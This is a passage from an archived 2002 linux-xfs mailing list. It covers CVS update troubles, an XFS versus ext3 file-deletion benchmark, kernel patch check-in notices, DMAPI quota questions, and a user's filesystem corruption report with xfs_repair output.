2002-11-06 at 11:21, Greg Freemyer wrote: > > I just did a CVS update, and tried a "make oldconfig". > > I'm getting an error at the end. > > ====== > * > * Bluetooth support > * > Bluetooth subsystem support (CONFIG_BLUEZ) [Y/m/n/?] > L2CAP protocol support (CONFIG_BLUEZ_L2CAP) [N/y/m/?] > SCO links support (CONFIG_BLUEZ_SCO) [N/y/m/?] > scripts/Configure: net/bluetooth/bnep/Config.in: No such file or directory > make: *** [oldconfig] Error 1 The file exists here internally, not sure if it is in cvs or not yet, it should be. Can you try another update? Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Nov 6 09:30:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 09:30:14 -0800 (PST) Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6HUAuR014990 for ; Wed, 6 Nov 2002 09:30:10 -0800 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id gA6HVCGP039727; Wed, 6 Nov 2002 18:31:13 +0100 (CET) Message-Id: <4.3.2.7.2.20021106182914.03b25ef0@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 06 Nov 2002 18:29:49 +0100 To: Greg Freemyer , xfs mailing list From: Seth Mos Subject: Re: Latest CVS and make oldconfig In-Reply-To: <20021106172308.NMZH3483.imf11bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1542 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 12:21 6-11-2002 -0500, Greg Freemyer wrote: >I just did a CVS update, and tried a "make oldconfig". > >I'm getting an error at the end. > >====== >* >* Bluetooth support >* >Bluetooth subsystem support (CONFIG_BLUEZ) [Y/m/n/?] >L2CAP protocol support (CONFIG_BLUEZ_L2CAP) [N/y/m/?] >SCO links support (CONFIG_BLUEZ_SCO) [N/y/m/?] >scripts/Configure: net/bluetooth/bnep/Config.in: No such file or directory >make: *** [oldconfig] Error 1 > >====== > >What do I need to do? Did you fetch the CVS tree with the -d option to fetch new directories? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Nov 6 09:47:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 09:47:06 -0800 (PST) Received: from imf01bis.bellsouth.net (mail301.mail.bellsouth.net [205.152.58.161]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6Hl2uR015852 for ; Wed, 6 Nov 2002 09:47:02 -0800 Received: from TAZ2 ([66.156.1.101]) by imf01bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021106174950.PTQT1279.imf01bis.bellsouth.net@TAZ2>; Wed, 6 Nov 2002 12:49:50 -0500 Date: Wed, 6 Nov 2002 12:48:03 -0500 From: Greg Freemyer Subject: re[2]: Latest CVS and make oldconfig To: Seth Mos , xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021106174950.PTQT1279.imf01bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA6Hl2uR015853 X-archive-position: 1543 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> >scripts/Configure: net/bluetooth/bnep/Config.in: No such file or >> directory >> >make: *** [oldconfig] Error 1 >> > >> >====== >> > >> >What do I need to do? >> Did you fetch the CVS tree with the -d option to fetch new directories? >> Cheers >> -- >> Seth At Steve Lord's suggestion, I retried the update. No Luck. I don't use cvs much, what is the correct syntax for -d? I normally use "cvs -z3 update" I tried "cvs -d -z3 update", but I got the following error response: === cvs update: CVSROOT "-z3" must be an absolute pathname cvs [update aborted]: Bad CVSROOT. === Greg ------------ Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Wed Nov 6 09:49:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 09:49:24 -0800 (PST) Received: from imf01bis.bellsouth.net (mail301.mail.bellsouth.net [205.152.58.161]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6HnLuR016385 for ; Wed, 6 Nov 2002 09:49:21 -0800 Received: from TAZ2 ([66.156.1.101]) by imf01bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021106175210.PVVJ1279.imf01bis.bellsouth.net@TAZ2>; Wed, 6 Nov 2002 12:52:10 -0500 Date: Wed, 6 Nov 2002 12:50:23 -0500 From: Greg Freemyer Subject: re[2]: Latest CVS and make oldconfig To: Steve Lord cc: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021106175210.PVVJ1279.imf01bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA6HnMuR016443 X-archive-position: 1544 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> > ====== >> > * >> > * Bluetooth support >> > * >> > Bluetooth subsystem support (CONFIG_BLUEZ) [Y/m/n/?] >> > L2CAP protocol support (CONFIG_BLUEZ_L2CAP) [N/y/m/?] >> > SCO links support (CONFIG_BLUEZ_SCO) [N/y/m/?] >> > scripts/Configure: net/bluetooth/bnep/Config.in: No such file or >> directory >> > make: *** [oldconfig] Error 1 >> The file exists here internally, not sure if it is in cvs or not yet, >> it should be. Can you try another update? >> Steve Steve, I think Seth is right. I'm missing the whole bnep directory. Greg ----------- Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Wed Nov 6 10:23:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 10:23:40 -0800 (PST) Received: from imf22bis.bellsouth.net (mail022.mail.bellsouth.net [205.152.58.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6INZuR017969 for ; Wed, 6 Nov 2002 10:23:35 -0800 Received: from TAZ2 ([66.156.1.101]) by imf22bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021106182617.JNDI1237.imf22bis.bellsouth.net@TAZ2>; Wed, 6 Nov 2002 13:26:17 -0500 Date: Wed, 6 Nov 2002 13:24:36 -0500 From: Greg Freemyer Subject: re[3]: Latest CVS and make oldconfig To: Greg Freemyer , Seth Mos , xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021106182617.JNDI1237.imf22bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA6INauR017970 X-archive-position: 1545 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Got it. "cvs -z3 update -d" >> >> >scripts/Configure: net/bluetooth/bnep/Config.in: No such file or >> >> directory >> >> >make: *** [oldconfig] Error 1 >> >> > >> >> >====== >> >> > >> >> >What do I need to do? >> >> Did you fetch the CVS tree with the -d option to fetch new >> directories? >> >> Cheers >> >> -- >> >> Seth >> At Steve Lord's suggestion, I retried the update. No Luck. >> I don't use cvs much, what is the correct syntax for -d? >> I normally use "cvs -z3 update" >> I tried "cvs -d -z3 update", but I got the following error response: >> === >> cvs update: CVSROOT "-z3" must be an absolute pathname >> cvs [update aborted]: Bad CVSROOT. >> === >> Greg >> ------------ >> Greg Freemyer >> Internet Engineer >> Deployment and Integration Specialist >> Compaq ASE - Tru64 v4, v5 >> Compaq Master ASE - SAN Architect >> The Norcross Group >> www.NorcrossGroup.com Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Wed Nov 6 11:30:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 11:30:34 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6JUSuR028802 for ; Wed, 6 Nov 2002 11:30:28 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 4EC611D62E6; Wed, 6 Nov 2002 11:31:37 -0800 (PST) Date: Wed, 6 Nov 2002 11:31:37 -0800 From: Chris Wedgwood To: Stephen Lord Cc: yoros@wanadoo.es, linux-xfs Subject: Re: Little questions Message-ID: <20021106193137.GA24661@tapu.f00f.org> References: <20021027214706.GA5589@morpheus.matrix.com> <1035817834.18751.24.camel@jen.americas.sgi.com> <20021028225113.GA12476@morpheus.matrix.com> <20021029195735.GC5708@tapu.f00f.org> <20021029223018.GB18631@morpheus.matrix.com> <1035932635.1088.43.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1035932635.1088.43.camel@laptop.americas.sgi.com> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1546 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Tue, Oct 29, 2002 at 05:03:53PM -0600, Stephen Lord wrote: > for every block in the file ext2 needs to free this block and place > it in the bitmaps. For xfs the same is true, it needs to free each > extent. One of the issues with a journalled filesystem is we need > to keep the filesystem consistent between each transaction. The > amount of work in removing a file is unbounded, and a transaction > needs to have a bounded size (don't ask it gets really > complicated). But what it means is that removing a file takes > multiple transactions, and those end up causing disk I/O. Perhaps it's fairer to compare with ext3 then? Bert Hubert just posted this to l-k: > Subject: naive but spectacular ext3 HTREE+Orlov benchmark [...] > Summary of HTREE ext3 Orlov vs non-Orlov, in real minute:seconds > 2.5.45 2.5.46 > ---------------------------------------------- > unpacking kernel tar.bz2: 1:26 1:16 > cold traversal: 1:01.5 0:42.9 > hot traversal: 0:51.0 0:34.5 > delete 0:05.3 <0:02 Now, this gives an upper bound for 5.3s to delete a kernel tree when 'hot' in cache. I can't really compare the extraction times as my CPU is faster but the tarball bzip2'd. For me (testing with 2.5.39 tarball as it's the most recent complete tarball I have): charon:~/test% /usr/bin/time find . -noleaf -type f > /dev/null 0.03user 0.16system 0:00.18elapsed 101%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (100major+22minor)pagefaults 0swaps charon:~/test% /usr/bin/time du -s 178824 . 0.01user 0.16system 0:00.17elapsed 97%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (106major+22minor)pagefaults 0swaps charon:~/test% sync ; /usr/bin/time rm -r linux-2.5.39 0.03user 1.48system 0:23.57elapsed 6%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (95major+14minor)pagefaults 0swaps So given pretty good conditions (ie. faster desktop compared to slower laptop) XFS is many times slower at deleting multiple files and ext3. With the orlov patch on ext3 (which gives a degree of location affinity to files in a directory tree) ext3 is *over* ten times faster at removing multiple files than XFS. I'm assuming this is mostly because XFS is vastly more complex in it's logging (it makes my head hurt and the more I look at it I wonder if all the complexity is necessary), but perhaps something else may explain the massive disparity? I did test with 2.4.x and can with 2.5.x later if it matters, but I don't see that buying me 10x speedup or anything close. --cw From owner-linux-xfs@oss.sgi.com Wed Nov 6 12:38:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 12:38:50 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6KcguR030180 for ; Wed, 6 Nov 2002 12:38:43 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA07886 for ; Wed, 6 Nov 2002 14:39:45 -0600 (CST) Received: from rose.americas.sgi.com (rose.americas.sgi.com [128.162.187.93]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA15491 for ; Wed, 6 Nov 2002 14:39:44 -0600 (CST) Received: from rose.americas.sgi.com (localhost.localdomain [127.0.0.1]) by rose.americas.sgi.com (8.12.5/8.12.5) with ESMTP id gA6KeQkq014457 for ; Wed, 6 Nov 2002 14:40:26 -0600 Received: (from cattelan@localhost) by rose.americas.sgi.com (8.12.5/8.12.5/Submit) id gA6KeQ26014455 for linux-xfs@oss.sgi.com; Wed, 6 Nov 2002 14:40:26 -0600 Date: Wed, 6 Nov 2002 14:40:26 -0600 From: Rusell Cattelan Message-Id: <200211062040.gA6KeQ26014455@rose.americas.sgi.com> Subject: TAKE - fsx fix part 2 :-) X-archive-position: 1547 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@rose.americas.sgi.com Precedence: bulk X-list: linux-xfs Part 2 of the fsx corruption saga. Date: Wed Nov 6 12:39:16 PST 2002 Workarea: rose.americas.sgi.com:/usr/src/2.4.x-xfs/find The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132210a linux/fs/buffer.c - 1.112 - 2 parts to this patch. The first part is making buffer.c aware of delay buffers, this allows us to remove BH_Uptodate from linvfs_get_block_core. The second part is a fix to end_buffer_io_async; it was checking all the buffer heads on a page but not if they were uptodate or not, and therefore incorrectly setting the page uptodate. Stale data was then exposed on portions of page not correctly cleared because only part of the page was actually valid. linux/fs/xfs/linux/xfs_aops.c - 1.13 - Remove BH_uptodate from get block. Rework the logic a bit in delalloc_convert. From owner-linux-xfs@oss.sgi.com Wed Nov 6 13:02:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 13:02:49 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6L2YuR031212 for ; Wed, 6 Nov 2002 13:02:47 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id gA6L3cPi061162 for ; Wed, 6 Nov 2002 16:03:38 -0500 Received: from d03nm800.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by northrelay02.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id gA6L3VZ5124474 for ; Wed, 6 Nov 2002 16:03:32 -0500 Subject: XFS quota and DMAPI To: linux-xfs@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "James A Goodwin" Date: Wed, 6 Nov 2002 15:03:28 -0600 X-MIMETrack: Serialize by Router on D03NM800/03/M/IBM(Release 5.0.10 |March 22, 2002) at 11/06/2002 02:03:33 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 1548 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jagoodwi@us.ibm.com Precedence: bulk X-list: linux-xfs If I use DMAPI to offline some XFS data, what effect does that have on the file owner's quota? Is the offlined data still counted against the owner's quota, or does XFS only consider data resident on XFS-managed disk? My chief concern is that quota enforcement may prevent offlined data from being staged back to XFS disk. Regards, -James Goodwin Software Engineer IBM Global Services - Federal jagoodwi@us.ibm.com Phone: (281) 336 2578 Fax: (281) 335 4231 T/L 260-2578 From owner-linux-xfs@oss.sgi.com Wed Nov 6 13:21:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 13:21:28 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6LLPuR031837 for ; Wed, 6 Nov 2002 13:21:25 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA09057 for ; Wed, 6 Nov 2002 15:22:29 -0600 (CST) Received: from slobber.americas.sgi.com (slobber.americas.sgi.com [128.162.187.52]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA73742 for ; Wed, 6 Nov 2002 15:22:22 -0600 (CST) Received: from slobber.americas.sgi.com by slobber.americas.sgi.com (SGI-8.9.3/SGI-client-1.7) via ESMTP id PAA11552; Wed, 6 Nov 2002 15:22:22 -0600 (CST) Message-Id: <200211062122.PAA11552@slobber.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: Re: XFS quota and DMAPI Date: Wed, 06 Nov 2002 15:22:22 -0600 From: Dean Roehrich X-archive-position: 1549 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: roehrich@sgi.com Precedence: bulk X-list: linux-xfs >From: "James A Goodwin" >If I use DMAPI to offline some XFS data, what effect does that have on the >file owner's quota? Is the offlined data still counted against the owner's >quota, or does XFS only consider data resident on XFS-managed disk? > >My chief concern is that quota enforcement may prevent offlined data from >being staged back to XFS disk. On Irix we don't include offline data in the quota. If this is happening on Linux then it's broken. Dean From owner-linux-xfs@oss.sgi.com Wed Nov 6 13:27:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 13:27:15 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6LRBuR032286 for ; Wed, 6 Nov 2002 13:27:11 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA23634 for ; Wed, 6 Nov 2002 15:28:15 -0600 (CST) Received: from slobber.americas.sgi.com (slobber.americas.sgi.com [128.162.187.52]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA89842 for ; Wed, 6 Nov 2002 15:28:15 -0600 (CST) Received: from slobber.americas.sgi.com by slobber.americas.sgi.com (SGI-8.9.3/SGI-client-1.7) via ESMTP id PAA12653; Wed, 6 Nov 2002 15:28:14 -0600 (CST) Message-Id: <200211062128.PAA12653@slobber.americas.sgi.com> cc: linux-xfs@oss.sgi.com Subject: Re: XFS quota and DMAPI Date: Wed, 06 Nov 2002 15:28:14 -0600 From: Dean Roehrich X-archive-position: 1550 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: roehrich@sgi.com Precedence: bulk X-list: linux-xfs >From: Dean Roehrich > >>From: "James A Goodwin" >>If I use DMAPI to offline some XFS data, what effect does that have on the >>file owner's quota? Is the offlined data still counted against the owner's >>quota, or does XFS only consider data resident on XFS-managed disk? >> >>My chief concern is that quota enforcement may prevent offlined data from >>being staged back to XFS disk. > >On Irix we don't include offline data in the quota. If this is happening on >Linux then it's broken. I should qualify that, I guess. By offline, I mean your HSM has used dm_punch_hole() and the file no longer has extents. Dean From owner-linux-xfs@oss.sgi.com Wed Nov 6 14:07:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 14:07:17 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6M7BuR001024 for ; Wed, 6 Nov 2002 14:07:11 -0800 Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id OAA02845 for ; Wed, 6 Nov 2002 14:08:20 -0800 (PST) mail_from (hch@lab343.munich.sgi.com) From: hch@lab343.munich.sgi.com Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gA6M6XLX001245 for ; Wed, 6 Nov 2002 23:06:34 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gA6GxKa9015819 for linux-xfs@oss.sgi.com; Wed, 6 Nov 2002 17:59:20 +0100 Date: Wed, 6 Nov 2002 17:59:20 +0100 Message-Id: <200211061659.gA6GxKa9015819@lab343.munich.sgi.com> Subject: TAKE - Don't require ACL helpers for XFS To: undisclosed-recipients:;;@lab343.munich.sgi.com X-archive-position: 1551 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@lab343.munich.sgi.com Precedence: bulk X-list: linux-xfs Date: Wed Nov 6 08:59:35 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132176a linux/fs/Kconfig - 1.4 - XFS has it's own ACL implementation From owner-linux-xfs@oss.sgi.com Wed Nov 6 15:58:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 15:58:07 -0800 (PST) Received: from BOSSW2K.plustream.com (sdsl-64-139-1-6.dsl.sca.megapath.net [64.139.1.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6Nw0uR002731 for ; Wed, 6 Nov 2002 15:58:00 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message Subject: RE2: Failure creating GBs file size under EVMS/XFS MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 6 Nov 2002 15:59:10 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: RE2: Failure creating GBs file size under EVMS/XFS Thread-Index: AcKE/CJ8A7baG2gTRXShHESbu9K+8AA8aa7A From: "Michael Nguyen" To: "Nathan Straz" , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA6Nw1uR002732 X-archive-position: 1552 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: michael.nguyen@corosoft.com Precedence: bulk X-list: linux-xfs Hello, Recap: I was having difficulty creating a GBs file under 2.4.18 + EVMS + XFS, using "# cat file1 >> file2". GLIBC ver 2.2.5-34 Taking your suggestion (using dd), I was successful creating 60GB from an 80GB logical volume space. Going back to "cat: error...". Once this problem occurs, I need to umount, xfs_repair -L, then mount. As you will see in the below dump, if only "fsck" was done, no message is reported and directory listing comes up empty. After "repair -L", directory listing shows files (size is adjusted due to failure). Also showing is the tail of the log. There are spaces between commands for ease reading. Any advice is appreciated. THX, Michael. ******************************************* ******************************************* [root@s1 root]# cat tempo >> /myfs/BIG1 [root@s1 root]# cat tempo >> /myfs/BIG1 [root@s1 root]# cat tempo >> /myfs/BIG1 cat: write error: Input/output error [root@s1 root]# [root@s1 root]# xfs_logprint /dev/evms/lvm/myvg/mylv . . . ------------------------------------------------------------------------ ---- Oper (429): tid: d688c8c0 len: 24 clientid: TRANS flags: none BUF: #regs: 2 start blkno: 0 (0x0) len: 1 bmap size: 1 Oper (430): tid: d688c8c0 len: 128 clientid: TRANS flags: none SUPER BLOCK Buffer: icount: 64 ifree: 58 fdblks: 21250129 frext: 0 ------------------------------------------------------------------------ ---- Oper (431): tid: d688c8c0 len: 0 clientid: TRANS flags: COMMIT ------------------------------------------------------------------------ ---- Oper (432): tid: d688c8e8 len: 0 clientid: TRANS flags: START ------------------------------------------------------------------------ ---- Oper (433): tid: d688c8e8 len: 16 clientid: TRANS flags: none TRAN: type: STRAT_WRITE tid: 0 num_items: 6 ------------------------------------------------------------------------ ---- Oper (434): tid: d688c8e8 len: 52 clientid: TRANS flags: none INODE: #regs: 3 ino: 0x83 flags: 0x9 dsize: 40 blkno: 64 len: 16 boff: 768 Oper (435): tid: d688c8e8 len: 96 clientid: TRANS flags: none INODE CORE magic 0x494e mode 0100644 version 1 format 3 nlink 1 uid 0 gid 0 atime 0x3dc99ff2 mtime 0x3dc9a450 ctime 0x3dc9a450 size 0x4f3fb4000 nblocks 0x4f3fc2 extsize 0x0 nextents 0xd naextents 0x0 forkoff 0 dmevmask 0x0 dmstate 0x0 flags 0x0 gen 0x16 Oper (436): tid: d688c8e8 len: 40 clientid: TRANS flags: none BTREE inode data ------------------------------------------------------------------------ ---- Oper (437): tid: d688c8e8 len: 24 clientid: TRANS flags: none BUF: #regs: 2 start blkno: 92274689 (0x5800001) len: 1 bmap size: 1 Oper (438): tid: d688c8e8 len: 128 clientid: TRANS flags: none AGF Buffer: XAGF ver: 1 seq#: 11 len: 1048576 root BNO: 2 CNT: 3 level BNO: 1 CNT: 1 1st: 0 last: 3 cnt: 4 freeblks: 469784 longest: 469784 ------------------------------------------------------------------------ ---- Oper (439): tid: d688c8e8 len: 28 clientid: TRANS flags: none BUF: #regs: 2 start blkno: 92274712 (0x5800018) len: 8 bmap size: 2 Oper (440): tid: d688c8e8 len: 128 clientid: TRANS flags: none BUF DATA ------------------------------------------------------------------------ ---- Oper (441): tid: d688c8e8 len: 28 clientid: TRANS flags: none BUF: #regs: 2 start blkno: 92274704 (0x5800010) len: 8 bmap size: 2 Oper (442): tid: d688c8e8 len: 48 clientid: TRANS flags: CONTINUE BUF DATA ======================================================================== ==== Header 0x1 wanted 0xfeedbabe xfs_logprint: after 8 zeroed blocks ********************************************************************** * ERROR: found data after zeroed blocks block=8164 * ********************************************************************** Bad log - data after zeroed blocks [root@s1 root]# fsck.xfs /dev/evms/lvm/myvg/mylv [root@s1 root]# ll /myfs total 0 [root@s1 root]# umount /myfs [root@s1 root]# xfs_repair -L /dev/evms/lvm/myvg/mylv Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... ALERT: The filesystem has valuable metadata changes in a log which is being destroyed because the -L option was used. - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - clearing existing "lost+found" inode - deleting existing "lost+found" entry - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... - traversal finished ... - traversing all unattached subtrees ... - traversals finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify and correct link counts... done [root@s1 root]# mount -t xfs /dev/evms/lvm/myvg/mylv /myfs [root@s1 root]# ll /myfs total 406536 -rw-r--r-- 1 root root 416288768 Nov 6 15:04 BIG1 -rwxrwxrwx 1 root root 121 Nov 4 18:43 bigfile drwxr-xr-x 2 root root 6 Nov 6 15:34 lost+found From owner-linux-xfs@oss.sgi.com Wed Nov 6 21:47:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 21:47:47 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA75lfuR007292 for ; Wed, 6 Nov 2002 21:47:41 -0800 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.55.176]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited 